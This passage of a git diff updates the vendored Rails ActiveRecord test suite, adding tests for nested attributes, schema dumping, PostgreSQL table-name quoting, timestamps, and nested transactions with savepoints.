+    @pirate.send(@association_name).destroy_all
+    @pirate.reload.attributes = {
+      association_getter => {
+        'foo' => { :name => 'Grace OMalley' },
+        'bar' => { :name => 'Privateers Greed', '_destroy' => '1' }
+      }
+    }
+
+    assert_equal 1, @pirate.send(@association_name).length
+    assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+  end
+
+  def test_should_ignore_new_associated_records_if_a_reject_if_proc_returns_false
+    @alternate_params[association_getter]['baz'] = {}
+    assert_no_difference("@pirate.send(@association_name).length") do
+      @pirate.attributes = @alternate_params
+    end
+  end
+
+  def test_should_sort_the_hash_by_the_keys_before_building_new_associated_models
+    attributes = ActiveSupport::OrderedHash.new
+    attributes['123726353'] = { :name => 'Grace OMalley' }
+    attributes['2'] = { :name => 'Privateers Greed' } # 2 is lower then 123726353
+    @pirate.send(association_setter, attributes)
+
+    assert_equal ['Posideons Killer', 'Killer bandita Dionne', 'Privateers Greed', 'Grace OMalley'].to_set, @pirate.send(@association_name).map(&:name).to_set
+  end
+
+  def test_should_raise_an_argument_error_if_something_else_than_a_hash_is_passed
+    assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) }
+    assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, ActiveSupport::OrderedHash.new) }
+
+    assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do
+      @pirate.send(association_setter, "foo")
+    end
+  end
+
+  def test_should_work_with_update_attributes_as_well
+    @pirate.update_attributes(:catchphrase => 'Arr',
+      association_getter => { 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' }})
+
+    assert_equal 'Grace OMalley', @child_1.reload.name
+  end
+
+  def test_should_update_existing_records_and_add_new_ones_that_have_no_id
+    @alternate_params[association_getter]['baz'] = { :name => 'Buccaneers Servant' }
+    assert_difference('@pirate.send(@association_name).count', +1) do
+      @pirate.update_attributes @alternate_params
+    end
+    assert_equal ['Grace OMalley', 'Privateers Greed', 'Buccaneers Servant'].to_set, @pirate.reload.send(@association_name).map(&:name).to_set
+  end
+
+  def test_should_be_possible_to_destroy_a_record
+    ['1', 1, 'true', true].each do |true_variable|
+      record = @pirate.reload.send(@association_name).create!(:name => 'Grace OMalley')
+      @pirate.send(association_setter,
+        @alternate_params[association_getter].merge('baz' => { :id => record.id, '_destroy' => true_variable })
+      )
+
+      assert_difference('@pirate.send(@association_name).count', -1) do
+        @pirate.save
+      end
+    end
+  end
+
+  def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument
+    [nil, '', '0', 0, 'false', false].each do |false_variable|
+      @alternate_params[association_getter]['foo']['_destroy'] = false_variable
+      assert_no_difference('@pirate.send(@association_name).count') do
+        @pirate.update_attributes(@alternate_params)
+      end
+    end
+  end
+
+  def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+    assert_no_difference('@pirate.send(@association_name).count') do
+      @pirate.send(association_setter, @alternate_params[association_getter].merge('baz' => { :id => @child_1.id, '_destroy' => true }))
+    end
+    assert_difference('@pirate.send(@association_name).count', -1) { @pirate.save }
+  end
+
+  def test_should_automatically_enable_autosave_on_the_association
+    assert Pirate.reflect_on_association(@association_name).options[:autosave]
+  end
+
+  private
+
+  def association_setter
+    @association_setter ||= "#{@association_name}_attributes=".to_sym
+  end
+
+  def association_getter
+    @association_getter ||= "#{@association_name}_attributes".to_sym
+  end
+end
+
+class TestNestedAttributesOnAHasManyAssociation < ActiveRecord::TestCase
+  def setup
+    @association_type = :has_many
+    @association_name = :birds
+
+    @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @pirate.birds.create!(:name => 'Posideons Killer')
+    @pirate.birds.create!(:name => 'Killer bandita Dionne')
+
+    @child_1, @child_2 = @pirate.birds
+
+    @alternate_params = {
+      :birds_attributes => {
+        'foo' => { :id => @child_1.id, :name => 'Grace OMalley' },
+        'bar' => { :id => @child_2.id, :name => 'Privateers Greed' }
+      }
+    }
+  end
+
+  include NestedAttributesOnACollectionAssociationTests
+end
+
+class TestNestedAttributesOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
+  def setup
+    @association_type = :has_and_belongs_to_many
+    @association_name = :parrots
+
+    @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+    @pirate.parrots.create!(:name => 'Posideons Killer')
+    @pirate.parrots.create!(:name => 'Killer bandita Dionne')
+
+    @child_1, @child_2 = @pirate.parrots
+
+    @alternate_params = {
+      :parrots_attributes => {
+        'foo' => { :id => @child_1.id, :name => 'Grace OMalley' },
+        'bar' => { :id => @child_2.id, :name => 'Privateers Greed' }
+      }
+    }
+  end
+
+  include NestedAttributesOnACollectionAssociationTests
+end
+
+class TestNestedAttributesLimit < ActiveRecord::TestCase
+  def setup
+    Pirate.accepts_nested_attributes_for :parrots, :limit => 2
+
+    @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+  end
+
+  def teardown
+    Pirate.accepts_nested_attributes_for :parrots, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+  end
+
+  def test_limit_with_less_records
+    @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Big Big Love' } } }
+    assert_difference('Parrot.count') { @pirate.save! }
+  end
+
+  def test_limit_with_number_exact_records
+    @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Lovely Day' }, 'bar' => { :name => 'Blown Away' } } }
+    assert_difference('Parrot.count', 2) { @pirate.save! }
+  end
+
+  def test_limit_with_exceeding_records
+    assert_raises(ActiveRecord::NestedAttributes::TooManyRecords) do
+      @pirate.attributes = { :parrots_attributes => { 'foo' => { :name => 'Lovely Day' },
+                                                      'bar' => { :name => 'Blown Away' },
+                                                      'car' => { :name => 'The Happening' }} }
+    end
+  end
+end
diff --git a/vendor/rails/activerecord/test/cases/pk_test.rb b/vendor/rails/activerecord/test/cases/pk_test.rb
index 948a570b..c121e0aa 100644
--- a/vendor/rails/activerecord/test/cases/pk_test.rb
+++ b/vendor/rails/activerecord/test/cases/pk_test.rb
@@ -98,4 +98,22 @@ class PrimaryKeysTest < ActiveRecord::TestCase
   def test_instance_destroy_should_quote_pkey
     assert_nothing_raised { MixedCaseMonkey.find(1).destroy }
   end
+
+  def test_supports_primary_key
+    assert_nothing_raised NoMethodError do
+      ActiveRecord::Base.connection.supports_primary_key?
+    end
+  end
+
+  def test_primary_key_returns_value_if_it_exists
+    if ActiveRecord::Base.connection.supports_primary_key?
+      assert_equal 'id', ActiveRecord::Base.connection.primary_key('developers')
+    end
+  end
+
+  def test_primary_key_returns_nil_if_it_does_not_exist
+    if ActiveRecord::Base.connection.supports_primary_key?
+      assert_nil ActiveRecord::Base.connection.primary_key('developers_projects')
+    end
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/query_cache_test.rb b/vendor/rails/activerecord/test/cases/query_cache_test.rb
index 171d0e6d..f90a66d1 100644
--- a/vendor/rails/activerecord/test/cases/query_cache_test.rb
+++ b/vendor/rails/activerecord/test/cases/query_cache_test.rb
@@ -55,8 +55,6 @@ class QueryCacheTest < ActiveRecord::TestCase
   end
 end
 
-uses_mocha 'QueryCacheExpiryTest' do
-
 class QueryCacheExpiryTest < ActiveRecord::TestCase
   fixtures :tasks, :posts, :categories, :categories_posts
 
@@ -123,5 +121,3 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
     end
   end
 end
-
-end
diff --git a/vendor/rails/activerecord/test/cases/reflection_test.rb b/vendor/rails/activerecord/test/cases/reflection_test.rb
index e0ed3e58..6081d984 100644
--- a/vendor/rails/activerecord/test/cases/reflection_test.rb
+++ b/vendor/rails/activerecord/test/cases/reflection_test.rb
@@ -4,6 +4,7 @@ require 'models/customer'
 require 'models/company'
 require 'models/company_in_module'
 require 'models/subscriber'
+require 'models/pirate'
 
 class ReflectionTest < ActiveRecord::TestCase
   fixtures :topics, :customers, :companies, :subscribers
@@ -20,25 +21,25 @@ class ReflectionTest < ActiveRecord::TestCase
 
   def test_read_attribute_names
     assert_equal(
-      %w( id title author_name author_email_address bonus_time written_on last_read content approved replies_count parent_id type ).sort,
+      %w( id title author_name author_email_address bonus_time written_on last_read content approved replies_count parent_id parent_title type ).sort,
       @first.attribute_names
     )
   end
 
   def test_columns
-    assert_equal 12, Topic.columns.length
+    assert_equal 13, Topic.columns.length
   end
 
   def test_columns_are_returned_in_the_order_they_were_declared
     column_names = Topic.columns.map { |column| column.name }
-    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content approved replies_count parent_id type), column_names
+    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content approved replies_count parent_id parent_title type), column_names
   end
 
   def test_content_columns
     content_columns        = Topic.content_columns
     content_column_names   = content_columns.map {|column| column.name}
-    assert_equal 8, content_columns.length
-    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content approved).sort, content_column_names.sort
+    assert_equal 9, content_columns.length
+    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content approved parent_title).sort, content_column_names.sort
   end
 
   def test_column_string_type_and_limit
@@ -91,6 +92,15 @@ class ReflectionTest < ActiveRecord::TestCase
     assert_equal Money, Customer.reflect_on_aggregation(:balance).klass
   end
 
+  def test_reflect_on_all_autosave_associations
+    expected = Pirate.reflect_on_all_associations.select { |r| r.options[:autosave] }
+    received = Pirate.reflect_on_all_autosave_associations
+
+    assert !received.empty?
+    assert_not_equal Pirate.reflect_on_all_associations.length, received.length
+    assert_equal expected, received
+  end
+
   def test_has_many_reflection
     reflection_for_clients = ActiveRecord::Reflection::AssociationReflection.new(:has_many, :clients, { :order => "id", :dependent => :destroy }, Firm)
 
@@ -160,9 +170,9 @@ class ReflectionTest < ActiveRecord::TestCase
 
   def test_reflection_of_all_associations
     # FIXME these assertions bust a lot
-    assert_equal 26, Firm.reflect_on_all_associations.size
-    assert_equal 20, Firm.reflect_on_all_associations(:has_many).size
-    assert_equal 6, Firm.reflect_on_all_associations(:has_one).size
+    assert_equal 36, Firm.reflect_on_all_associations.size
+    assert_equal 26, Firm.reflect_on_all_associations(:has_many).size
+    assert_equal 10, Firm.reflect_on_all_associations(:has_one).size
     assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
   end
 
diff --git a/vendor/rails/activerecord/test/cases/reload_models_test.rb b/vendor/rails/activerecord/test/cases/reload_models_test.rb
index 411b5f6a..0d16a352 100644
--- a/vendor/rails/activerecord/test/cases/reload_models_test.rb
+++ b/vendor/rails/activerecord/test/cases/reload_models_test.rb
@@ -3,6 +3,8 @@ require 'models/owner'
 require 'models/pet'
 
 class ReloadModelsTest < ActiveRecord::TestCase
+  fixtures :pets
+
   def test_has_one_with_reload
     pet = Pet.find_by_name('parrot')
     pet.owner = Owner.find_by_name('ashley')
@@ -17,4 +19,4 @@ class ReloadModelsTest < ActiveRecord::TestCase
     pet.owner = Owner.find_by_name('ashley')
     assert_equal pet.owner, Owner.find_by_name('ashley')
   end
-end
\ No newline at end of file
+end
diff --git a/vendor/rails/activerecord/test/cases/repair_helper.rb b/vendor/rails/activerecord/test/cases/repair_helper.rb
new file mode 100644
index 00000000..01556688
--- /dev/null
+++ b/vendor/rails/activerecord/test/cases/repair_helper.rb
@@ -0,0 +1,50 @@
+module ActiveRecord
+  module Testing
+    module RepairHelper
+      def self.included(base)
+        base.class_eval do
+          extend ClassMethods
+        end
+      end
+
+      module Toolbox
+        def self.record_validations(*model_classes)
+          model_classes.inject({}) do |repair, klass|
+            repair[klass] ||= {}
+            [:validate, :validate_on_create, :validate_on_update].each do |callback|
+              the_callback = klass.instance_variable_get("@#{callback.to_s}_callbacks")
+              repair[klass][callback] = (the_callback.nil? ? nil : the_callback.dup)
+            end
+            repair
+          end
+        end
+
+        def self.reset_validations(recorded)
+          recorded.each do |klass, repairs|
+            [:validate, :validate_on_create, :validate_on_update].each do |callback|
+              klass.instance_variable_set("@#{callback.to_s}_callbacks", repairs[callback])
+            end
+          end
+        end
+      end
+
+      module ClassMethods
+        def repair_validations(*model_classes)
+          setup do
+            @validation_repairs = ActiveRecord::Testing::RepairHelper::Toolbox.record_validations(*model_classes)
+          end
+          teardown do
+            ActiveRecord::Testing::RepairHelper::Toolbox.reset_validations(@validation_repairs)
+          end
+        end
+      end
+
+      def repair_validations(*model_classes, &block)
+        validation_repairs = ActiveRecord::Testing::RepairHelper::Toolbox.record_validations(*model_classes)
+        return block.call
+      ensure
+        ActiveRecord::Testing::RepairHelper::Toolbox.reset_validations(validation_repairs)
+      end
+    end
+  end
+end
diff --git a/vendor/rails/activerecord/test/cases/schema_dumper_test.rb b/vendor/rails/activerecord/test/cases/schema_dumper_test.rb
index ee7e285a..ba714a95 100644
--- a/vendor/rails/activerecord/test/cases/schema_dumper_test.rb
+++ b/vendor/rails/activerecord/test/cases/schema_dumper_test.rb
@@ -1,5 +1,4 @@
 require "cases/helper"
-require 'active_record/schema_dumper'
 require 'stringio'
 
 
@@ -23,6 +22,11 @@ class SchemaDumperTest < ActiveRecord::TestCase
     assert_no_match %r{create_table "sqlite_sequence"}, output
   end
 
+  def test_schema_dump_includes_camelcase_table_name
+    output = standard_dump
+    assert_match %r{create_table "CamelCase"}, output
+  end
+
   def assert_line_up(lines, pattern, required = false)
     return assert(true) if lines.empty?
     matches = lines.map { |line| line.match(pattern) }
@@ -148,19 +152,24 @@ class SchemaDumperTest < ActiveRecord::TestCase
     end
   end
 
+  def test_schema_dumps_index_columns_in_right_order
+    index_definition = standard_dump.split(/\n/).grep(/add_index.*companies/).first.strip
+    assert_equal 'add_index "companies", ["firm_id", "type", "rating", "ruby_type"], :name => "company_index"', index_definition
+  end
+
+  def test_schema_dump_should_honor_nonstandard_primary_keys
+    output = standard_dump
+    match = output.match(%r{create_table "movies"(.*)do})
+    assert_not_nil(match, "nonstandardpk table not found")
+    assert_match %r(:primary_key => "movieid"), match[1], "non-standard primary key not preserved"
+  end
+
   if current_adapter?(:MysqlAdapter)
     def test_schema_dump_should_not_add_default_value_for_mysql_text_field
       output = standard_dump
       assert_match %r{t.text\s+"body",\s+:null => false$}, output
     end
 
-    def test_mysql_schema_dump_should_honor_nonstandard_primary_keys
-      output = standard_dump
-      match = output.match(%r{create_table "movies"(.*)do})
-      assert_not_nil(match, "nonstandardpk table not found")
-      assert_match %r(:primary_key => "movieid"), match[1], "non-standard primary key not preserved"
-    end
-
     def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
       output = standard_dump
       assert_match %r{t.binary\s+"tiny_blob",\s+:limit => 255$}, output
@@ -181,4 +190,22 @@ class SchemaDumperTest < ActiveRecord::TestCase
     output = stream.string
     assert_match %r{:precision => 3,[[:space:]]+:scale => 2,[[:space:]]+:default => 2.78}, output
   end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_schema_dump_includes_xml_shorthand_definition
+      output = standard_dump
+      if %r{create_table "postgresql_xml_data_type"} =~ output
+        assert_match %r{t.xml "data"}, output
+      end
+    end
+  end
+
+  def test_schema_dump_keeps_id_column_when_id_is_false_and_id_column_added
+    output = standard_dump
+    match = output.match(%r{create_table "goofy_string_id"(.*)do.*\n(.*)\n})
+    assert_not_nil(match, "goofy_string_id table not found")
+    assert_match %r(:id => false), match[1], "no table id not preserved"
+    assert_match %r{t.string[[:space:]]+"id",[[:space:]]+:null => false$}, match[2], "non-primary key id column not preserved"
+  end
 end
+
diff --git a/vendor/rails/activerecord/test/cases/schema_test_postgresql.rb b/vendor/rails/activerecord/test/cases/schema_test_postgresql.rb
index 336a3876..a294848f 100644
--- a/vendor/rails/activerecord/test/cases/schema_test_postgresql.rb
+++ b/vendor/rails/activerecord/test/cases/schema_test_postgresql.rb
@@ -6,6 +6,7 @@ class SchemaTest < ActiveRecord::TestCase
   SCHEMA_NAME = 'test_schema'
   SCHEMA2_NAME = 'test_schema2'
   TABLE_NAME = 'things'
+  CAPITALIZED_TABLE_NAME = 'Things'
   INDEX_A_NAME = 'a_index_things_on_name'
   INDEX_B_NAME = 'b_index_things_on_different_columns_in_each_schema'
   INDEX_A_COLUMN = 'name'
@@ -18,9 +19,27 @@ class SchemaTest < ActiveRecord::TestCase
     'moment timestamp without time zone default now()'
   ]
 
+  class Thing1 < ActiveRecord::Base
+    set_table_name "test_schema.things"
+  end
+
+  class Thing2 < ActiveRecord::Base
+    set_table_name "test_schema2.things"
+  end
+
+  class Thing3 < ActiveRecord::Base
+    set_table_name 'test_schema."things.table"'
+  end
+
+  class Thing4 < ActiveRecord::Base
+    set_table_name 'test_schema."Things"'
+  end
+
   def setup
     @connection = ActiveRecord::Base.connection
     @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
+    @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{CAPITALIZED_TABLE_NAME}\" (#{COLUMNS.join(',')})"
     @connection.execute "CREATE SCHEMA #{SCHEMA2_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
     @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_A_COLUMN});"
     @connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME}  USING btree (#{INDEX_A_COLUMN});"
@@ -39,6 +58,12 @@ class SchemaTest < ActiveRecord::TestCase
     end
   end
 
+  def test_with_schema_prefixed_capitalized_table_name
+    assert_nothing_raised do
+      assert_equal COLUMNS, columns("#{SCHEMA_NAME}.#{CAPITALIZED_TABLE_NAME}")
+    end
+  end
+
   def test_with_schema_search_path
     assert_nothing_raised do
       with_schema_search_path(SCHEMA_NAME) do
@@ -47,6 +72,47 @@ class SchemaTest < ActiveRecord::TestCase
     end
   end
 
+
+  def test_proper_encoding_of_table_name
+    assert_equal '"table_name"', @connection.quote_table_name('table_name')
+    assert_equal '"table.name"', @connection.quote_table_name('"table.name"')
+    assert_equal '"schema_name"."table_name"', @connection.quote_table_name('schema_name.table_name')
+    assert_equal '"schema_name"."table.name"', @connection.quote_table_name('schema_name."table.name"')
+    assert_equal '"schema.name"."table_name"', @connection.quote_table_name('"schema.name".table_name')
+    assert_equal '"schema.name"."table.name"', @connection.quote_table_name('"schema.name"."table.name"')
+  end
+
+  def test_classes_with_qualified_schema_name
+    assert_equal 0, Thing1.count
+    assert_equal 0, Thing2.count
+    assert_equal 0, Thing3.count
+    assert_equal 0, Thing4.count
+
+    Thing1.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
+    assert_equal 1, Thing1.count
+    assert_equal 0, Thing2.count
+    assert_equal 0, Thing3.count
+    assert_equal 0, Thing4.count
+
+    Thing2.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
+    assert_equal 1, Thing1.count
+    assert_equal 1, Thing2.count
+    assert_equal 0, Thing3.count
+    assert_equal 0, Thing4.count
+
+    Thing3.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
+    assert_equal 1, Thing1.count
+    assert_equal 1, Thing2.count
+    assert_equal 1, Thing3.count
+    assert_equal 0, Thing4.count
+
+    Thing4.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
+    assert_equal 1, Thing1.count
+    assert_equal 1, Thing2.count
+    assert_equal 1, Thing3.count
+    assert_equal 1, Thing4.count
+  end
+
   def test_raise_on_unquoted_schema_name
     assert_raise(ActiveRecord::StatementInvalid) do
       with_schema_search_path '$user,public'
@@ -69,6 +135,16 @@ class SchemaTest < ActiveRecord::TestCase
     do_dump_index_tests_for_schema(SCHEMA2_NAME, INDEX_A_COLUMN, INDEX_B_COLUMN_S2)
   end
 
+  def test_with_uppercase_index_name
+    ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+    assert_nothing_raised { ActiveRecord::Base.connection.remove_index :things, :name => "#{SCHEMA_NAME}.things_Index"}
+
+    ActiveRecord::Base.connection.execute "CREATE INDEX \"things_Index\" ON #{SCHEMA_NAME}.things (name)"
+    ActiveRecord::Base.connection.schema_search_path = SCHEMA_NAME
+    assert_nothing_raised { ActiveRecord::Base.connection.remove_index :things, :name => "things_Index"}
+    ActiveRecord::Base.connection.schema_search_path = "public"
+  end
+
   private
     def columns(table_name)
       @connection.send(:column_definitions, table_name).map do |name, type, default|
diff --git a/vendor/rails/activerecord/test/cases/timestamp_test.rb b/vendor/rails/activerecord/test/cases/timestamp_test.rb
new file mode 100644
index 00000000..24b237a7
--- /dev/null
+++ b/vendor/rails/activerecord/test/cases/timestamp_test.rb
@@ -0,0 +1,75 @@
+require 'cases/helper'
+require 'models/developer'
+require 'models/owner'
+require 'models/pet'
+
+class TimestampTest < ActiveRecord::TestCase
+  fixtures :developers, :owners, :pets
+
+  def setup
+    @developer = Developer.first
+    @previously_updated_at = @developer.updated_at
+  end
+
+  def test_saving_a_changed_record_updates_its_timestamp
+    @developer.name = "Jack Bauer"
+    @developer.save!
+    
+    assert @previously_updated_at != @developer.updated_at
+  end
+  
+  def test_saving_a_unchanged_record_doesnt_update_its_timestamp
+    @developer.save!
+    
+    assert @previously_updated_at == @developer.updated_at
+  end
+  
+  def test_touching_a_record_updates_its_timestamp
+    @developer.touch
+    
+    assert @previously_updated_at != @developer.updated_at
+  end
+  
+  def test_touching_a_different_attribute
+    previously_created_at = @developer.created_at
+    @developer.touch(:created_at)
+
+    assert previously_created_at != @developer.created_at
+  end
+  
+  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
+    pet   = Pet.first
+    owner = pet.owner
+    previously_owner_updated_at = owner.updated_at
+    
+    pet.name = "Fluffy the Third"
+    pet.save
+    
+    assert previously_owner_updated_at != pet.owner.updated_at
+  end
+
+  def test_destroying_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
+    pet   = Pet.first
+    owner = pet.owner
+    previously_owner_updated_at = owner.updated_at
+    
+    pet.destroy
+    
+    assert previously_owner_updated_at != pet.owner.updated_at
+  end
+  
+  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_a_specific_attribute_the_parent_should_update_that_attribute
+    Pet.belongs_to :owner, :touch => :happy_at
+
+    pet   = Pet.first
+    owner = pet.owner
+    previously_owner_happy_at = owner.happy_at
+    
+    pet.name = "Fluffy the Third"
+    pet.save
+    
+    assert previously_owner_happy_at != pet.owner.happy_at
+  ensure
+    Pet.belongs_to :owner, :touch => true
+  end
+end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/cases/transactions_test.rb b/vendor/rails/activerecord/test/cases/transactions_test.rb
index b12ec364..f6533b53 100644
--- a/vendor/rails/activerecord/test/cases/transactions_test.rb
+++ b/vendor/rails/activerecord/test/cases/transactions_test.rb
@@ -213,22 +213,143 @@ class TransactionTest < ActiveRecord::TestCase
     assert Topic.find(2).approved?, "Second should still be approved"
   end
 
-  uses_mocha 'mocking connection.commit_db_transaction' do
-    def test_rollback_when_commit_raises
-      Topic.connection.expects(:begin_db_transaction)
-      Topic.connection.expects(:transaction_active?).returns(true) if current_adapter?(:PostgreSQLAdapter)
-      Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
-      Topic.connection.expects(:rollback_db_transaction)
-
-      assert_raise RuntimeError do
-        Topic.transaction do
-          # do nothing
-        end
+  def test_invalid_keys_for_transaction
+    assert_raise ArgumentError do
+      Topic.transaction :nested => true do
       end
     end
   end
 
-  def test_sqlite_add_column_in_transaction_raises_statement_invalid
+  def test_force_savepoint_in_nested_transaction
+    Topic.transaction do
+      @first.approved = true
+      @second.approved = false
+      @first.save!
+      @second.save!
+
+      begin
+        Topic.transaction :requires_new => true do
+          @first.happy = false
+          @first.save!
+          raise
+        end
+      rescue
+      end
+    end
+
+    assert @first.reload.approved?
+    assert !@second.reload.approved?
+  end if Topic.connection.supports_savepoints?
+
+  def test_no_savepoint_in_nested_transaction_without_force
+    Topic.transaction do
+      @first.approved = true
+      @second.approved = false
+      @first.save!
+      @second.save!
+
+      begin
+        Topic.transaction do
+          @first.approved = false
+          @first.save!
+          raise
+        end
+      rescue
+      end
+    end
+
+    assert !@first.reload.approved?
+    assert !@second.reload.approved?
+  end if Topic.connection.supports_savepoints?
+  
+  def test_many_savepoints
+    Topic.transaction do
+      @first.content = "One"
+      @first.save!
+      
+      begin
+        Topic.transaction :requires_new => true do
+          @first.content = "Two"
+          @first.save!
+          
+          begin
+            Topic.transaction :requires_new => true do
+              @first.content = "Three"
+              @first.save!
+              
+              begin
+                Topic.transaction :requires_new => true do
+                  @first.content = "Four"
+                  @first.save!
+                  raise
+                end
+              rescue
+              end
+              
+              @three = @first.reload.content
+              raise
+            end
+          rescue
+          end
+          
+          @two = @first.reload.content
+          raise
+        end
+      rescue
+      end
+      
+      @one = @first.reload.content
+    end
+    
+    assert_equal "One", @one
+    assert_equal "Two", @two
+    assert_equal "Three", @three
+  end if Topic.connection.supports_savepoints?
+
+  def test_rollback_when_commit_raises
+    Topic.connection.expects(:begin_db_transaction)
+    Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
+    Topic.connection.expects(:outside_transaction?).returns(false)
+    Topic.connection.expects(:rollback_db_transaction)
+
+    assert_raise RuntimeError do
+      Topic.transaction do
+        # do nothing
+      end
+    end
+  end
+  
+  if current_adapter?(:PostgreSQLAdapter) && defined?(PGconn::PQTRANS_IDLE)
+    def test_outside_transaction_works
+      assert Topic.connection.outside_transaction?
+      Topic.connection.begin_db_transaction
+      assert !Topic.connection.outside_transaction?
+      Topic.connection.rollback_db_transaction
+      assert Topic.connection.outside_transaction?
+    end
+    
+    def test_rollback_wont_be_executed_if_no_transaction_active
+      assert_raise RuntimeError do
+        Topic.transaction do
+          Topic.connection.rollback_db_transaction
+          Topic.connection.expects(:rollback_db_transaction).never
+          raise "Rails doesn't scale!"
+        end
+      end
+    end
+    
+    def test_open_transactions_count_is_reset_to_zero_if_no_transaction_active
+      Topic.transaction do
+        Topic.transaction do
+          Topic.connection.rollback_db_transaction
+        end
+        assert_equal 0, Topic.connection.open_transactions
+      end
+      assert_equal 0, Topic.connection.open_transactions
+    end
+  end
+
+  def test_sqlite_add_column_in_transaction
     return true unless current_adapter?(:SQLite3Adapter, :SQLiteAdapter)
 
     # Test first if column creation/deletion works correctly when no
@@ -247,10 +368,15 @@ class TransactionTest < ActiveRecord::TestCase
       assert !Topic.column_names.include?('stuff')
     end
 
-    # Test now inside a transaction: add_column should raise a StatementInvalid
-    Topic.transaction do
-      assert_raises(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) }
-      raise ActiveRecord::Rollback
+    if Topic.connection.supports_ddl_transactions?
+      assert_nothing_raised do
+        Topic.transaction { Topic.connection.add_column('topics', 'stuff', :string) }
+      end
+    else
+      Topic.transaction do
+        assert_raise(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) }
+        raise ActiveRecord::Rollback
+      end
     end
   end
 
@@ -282,6 +408,45 @@ class TransactionTest < ActiveRecord::TestCase
     end
 end
 
+class TransactionsWithTransactionalFixturesTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = true
+  fixtures :topics
+
+  def test_automatic_savepoint_in_outer_transaction
+    @first = Topic.find(1)
+    
+    begin
+      Topic.transaction do
+        @first.approved = true
+        @first.save!
+        raise
+      end
+    rescue
+      assert !@first.reload.approved?
+    end
+  end
+
+  def test_no_automatic_savepoint_for_inner_transaction
+    @first = Topic.find(1)
+
+    Topic.transaction do
+      @first.approved = true
+      @first.save!
+
+      begin
+        Topic.transaction do
+          @first.approved = false
+          @first.save!
+          raise
+        end
+      rescue
+      end
+    end
+
+    assert !@first.reload.approved?
+  end
+end if Topic.connection.supports_savepoints?
+
 if current_adapter?(:PostgreSQLAdapter)
   class ConcurrentTransactionTest < TransactionTest
     use_concurrent_connections
diff --git a/vendor/rails/activerecord/test/cases/validations_i18n_test.rb b/vendor/rails/activerecord/test/cases/validations_i18n_test.rb
index a13a72a7..f2e3e5ae 100644
--- a/vendor/rails/activerecord/test/cases/validations_i18n_test.rb
+++ b/vendor/rails/activerecord/test/cases/validations_i18n_test.rb
@@ -1,11 +1,83 @@
 require "cases/helper"
 require 'models/topic'
 require 'models/reply'
+require 'models/person'
+
+module ActiveRecordValidationsI18nTestHelper
+  def store_translations(*args)
+    data = args.extract_options!
+    locale = args.shift || 'en'
+    I18n.backend.send(:init_translations)
+    I18n.backend.store_translations(locale, :activerecord => data)
+  end
+
+  def delete_translation(key)
+    I18n.backend.instance_eval do
+      keys = I18n.send(:normalize_translation_keys, 'en', key, nil)
+      keys.inject(translations) { |result, k| keys.last == k ? result.delete(k.to_sym) : result[k.to_sym] }
+    end
+  end
+
+  def reset_callbacks(*models)
+    models.each do |model|
+      model.instance_variable_set("@validate_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+      model.instance_variable_set("@validate_on_create_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+      model.instance_variable_set("@validate_on_update_callbacks", ActiveSupport::Callbacks::CallbackChain.new)
+    end
+  end
+end
+
+# DEPRECATIONS
+
+class ActiveRecordValidationsI18nDeprecationsTests < ActiveSupport::TestCase
+  test "default_error_messages is deprecated and can be removed in Rails 3 / ActiveModel" do
+    assert_deprecated('ActiveRecord::Errors.default_error_messages') do
+      ActiveRecord::Errors.default_error_messages
+    end
+  end
+
+  test "%s interpolation syntax in error messages still works" do
+    ActiveSupport::Deprecation.silence do
+      result = I18n.t :does_not_exist, :default => "%s interpolation syntax is deprecated", :value => 'this'
+      assert_equal result, "this interpolation syntax is deprecated"
+    end
+  end
+
+  test "%s interpolation syntax in error messages is deprecated" do
